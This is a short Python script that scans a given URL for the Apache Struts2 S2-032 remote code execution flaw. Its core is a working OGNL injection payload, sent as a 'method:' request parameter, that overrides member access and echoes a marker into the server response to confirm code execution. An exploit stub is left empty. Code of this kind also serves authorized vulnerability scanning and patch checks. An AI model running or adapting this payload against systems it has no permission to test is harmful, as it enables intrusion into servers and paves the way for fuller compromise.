s2-032.py

import requests
import getopt
import sys
import time

DEBUG=False

			
def check(url):
	global DEBUG

	now = time.strftime('%H:%M:%S',time.localtime(time.time()))
	print("["+str(now)+"] [INFO] Checking Struts2 (S2-032) Remote Code Execution...")

	tag='S2-032'
	print("Check URL : "+url)

	payload = {'method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(#parameters.tag[0]),#writer.flush(),#writer.close': '', 'tag': tag}
	r = requests.get(url, params=payload)
	if DEBUG:
		print("Content:\n"+r.text)

	if tag in r.text:
		if DEBUG:
			print("[+] vuls found with payload: %s"%r.url)
		else:
			print("[+] vuls found!!")
		return True
	else:
		print('[!] no vuls! url: %s'%url)
		return False

def exp():
	pass

def main():
	global DEBUG

	try:
		options,args = getopt.getopt(sys.argv[1:],"u:v")
	except getopt.GetoptError:
		print("[WARNING] error, to see help message of options run with '-h'")
		sys.exit()

	
	if ('-v', '') in options:
		DEBUG=True
	
	for name,value in options:
		if name in ("-u"):
			check(value)
			return


if __name__ == '__main__':
	main()